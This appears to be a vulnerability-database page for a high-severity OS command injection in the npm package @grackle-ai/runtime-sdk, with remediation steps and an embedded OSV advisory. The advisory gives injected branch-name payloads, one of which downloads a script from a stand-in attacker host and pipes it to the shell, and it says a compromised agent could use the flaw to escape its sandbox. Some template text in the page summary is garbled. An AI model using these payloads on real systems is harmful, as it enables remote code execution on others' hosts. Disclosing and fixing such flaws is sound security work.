Vulnerabilities in pkg:npm/@grackle-ai/runtime-sdk
PACKAGEGHSA-vv65-f55v-xm6g is a HIGH true) vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @grackle ai/runtime sdk libraries in the npm ecosystem. The issue involves true). Remediation is available in the latest vendor maintenance releases.
pkg:npm/@grackle-ai/runtime-sdk
Vulnerability advisories affecting package pkg:npm/@grackle-ai/runtime-sdk. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-vv65-f55v-xm6g | - | HIGH | Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true) |
GHSA-vv65-f55v-xm6g at a Glance
How to Fix GHSA-vv65-f55v-xm6g
To remediate this vulnerability, upgrade all affected @grackle ai/runtime sdk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @grackle-ai/runtime-sdk@Latest secure release
npm install @grackle-ai/powerline@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @grackle-ai/runtime-sdk
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-vv65-f55v-xm6g, inspect your project dependencies using npm:
npm ls @grackle-ai/runtime-sdk
Analyze the terminal output to locate any version of @grackle ai/runtime sdk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls @grackle-ai/runtime-sdk command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @grackle ai/runtime sdk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-vv65-f55v-xm6g Affected @grackle ai/runtime sdk Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@grackle-ai/runtime-sdk
|
npm |
≤ 0.132.1
|
|
|
@grackle-ai/powerline
|
npm |
≤ 0.132.1
|
|
References
Frequently Asked Questions
What is GHSA-vv65-f55v-xm6g?
Which @grackle ai/runtime sdk versions are affected?
What version fixes GHSA-vv65-f55v-xm6g?
Is @grackle-ai/runtime-sdk affected?
Is @grackle-ai/powerline affected?
What CWE is associated with GHSA-vv65-f55v-xm6g?
How can I check npm dependencies for GHSA-vv65-f55v-xm6g?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vv65-f55v-xm6g",
"modified" : "2026-07-02T19:16:57Z",
"published" : "2026-07-02T19:16:57Z",
"aliases" : [ ],
"summary" : "Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)",
"details" : "## Summary\n\nThe default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.\n\nThis advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**).\n\n## Affected versions\n\n`@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned.\n\n## F1 — Command injection via `shell:true` (primary, High)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`.\n\n`NODE_GIT_EXECUTOR.exec` runs:\n\n```ts\nconst shell = process.env.SHELL || true; // worktree.ts:24 — always truthy\nconst result = await execRaw(\"git\", args, { ...options, shell });\n```\n\nWhen `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into:\n\n```ts\n[\"worktree\", \"add\", \"-b\", branch, wtPath, startPoint] // worktree.ts:135-137\n[\"worktree\", \"add\", wtPath, branch] // fallback :143\n```\n\n`sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b <branch>` argument — so it provides zero protection at the injection sink.\n\n**Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.)\n\nThe sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync(\"git\", [...])` with **no** shell, confirming `shell:true` is unnecessary here.\n\n## F13 — Argument injection: missing `--` separator (residual, Low)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:135-143`.\n\nIndependent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `[\"checkout\", \"--\", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.\n\n## Remediation\n\n1. **Remove `shell` from `NODE_GIT_EXECUTOR`** — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix.\n2. Add a `--` separator before positional refs/paths in both `worktree add` invocations.\n3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@grackle-ai/runtime-sdk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.132.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@grackle-ai/powerline"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.132.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nick-pape/grackle/security/advisories/GHSA-vv65-f55v-xm6g"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nick-pape/grackle"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78", "CWE-88" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-02T19:16:57Z",
"nvd_published_at" : null
}
}